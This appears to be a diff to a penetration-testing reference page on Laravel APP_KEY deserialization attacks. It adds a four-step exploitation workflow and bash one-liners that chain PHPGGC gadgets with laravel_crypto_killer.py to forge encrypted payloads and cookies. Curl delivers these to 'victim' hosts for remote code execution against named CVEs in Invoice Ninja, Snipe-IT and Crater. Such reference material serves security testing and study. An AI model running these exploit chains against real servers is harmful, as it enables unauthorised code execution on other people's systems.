@@ -64,10 +64,30 @@ The script transparently supports both CBC and GCM payloads and re-generates the
6464| Crater (CVE-2024 -55556) | ` SESSION_DRIVER=cookie ` → ` laravel_session ` cookie | Laravel/RCE15 |
6565
6666The exploitation workflow is always:
67- 1 . Obtain ` APP_KEY ` (default examples, Git leak, config/.env leak, or brute-force)
68- 2 . Generate gadget with ** PHPGGC**
69- 3 . ` laravel_crypto_killer.py encrypt … `
70- 4 . Deliver payload through the vulnerable parameter/cookie → ** RCE**
67+ 1 . Obtain or brute-force the 32-byte ` APP_KEY ` .
68+ 2 . Build a gadget chain with ** PHPGGC** (for example ` Laravel/RCE13 ` , ` Laravel/RCE9 ` or ` Laravel/RCE15 ` ).
69+ 3 . Encrypt the serialized gadget with ** laravel_crypto_killer.py** and the recovered ` APP_KEY ` .
70+ 4 . Deliver the ciphertext to the vulnerable ` decrypt() ` sink (route parameter, cookie, session …) to trigger ** RCE** .
71+
72+ Below are concise one-liners demonstrating the full attack path for each real-world CVE mentioned above:
73+
74+ ``` bash
75+ # Invoice Ninja ≤5 – /route/{hash}
76+ php8.2 phpggc Laravel/RCE13 system id -b -f | \
77+ ./laravel_crypto_killer.py encrypt -k < APP_KEY> -v - | \
78+ xargs -I% curl " https://victim/route/%"
79+
80+ # Snipe-IT ≤6 – XSRF-TOKEN cookie
81+ php7.4 phpggc Laravel/RCE9 system id -b | \
82+ ./laravel_crypto_killer.py encrypt -k < APP_KEY> -v - > xsrf.txt
83+ curl -H " Cookie: XSRF-TOKEN=$( cat xsrf.txt) " https://victim/login
84+
85+ # Crater – cookie-based session
86+ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
87+ ./laravel_crypto_killer.py encrypt -k < APP_KEY> -v payload.bin --session_cookie=< orig_hash> > forged.txt
88+ curl -H " Cookie: laravel_session=<orig>; <cookie_name>=$( cat forged.txt) " https://victim/login
89+ ```
90+
7191
7292---
7393
@@ -180,7 +200,8 @@ Another deserialization: [https://github.com/ambionics/laravel-exploits](https:/
180200
181201
182202## References
183- * [ Laravel: APP_KEY leakage analysis] ( https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html )
203+ * [ Laravel: APP_KEY leakage analysis (EN)] ( https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html )
204+ * [ Laravel : analyse de fuite d’APP_KEY (FR)] ( https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html )
184205* [ laravel-crypto-killer] ( https://github.com/synacktiv/laravel-crypto-killer )
185206* [ PHPGGC – PHP Generic Gadget Chains] ( https://github.com/ambionics/phpggc )
186207* [ CVE-2018 -15133 write-up (WithSecure)] ( https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce )
0 commit comments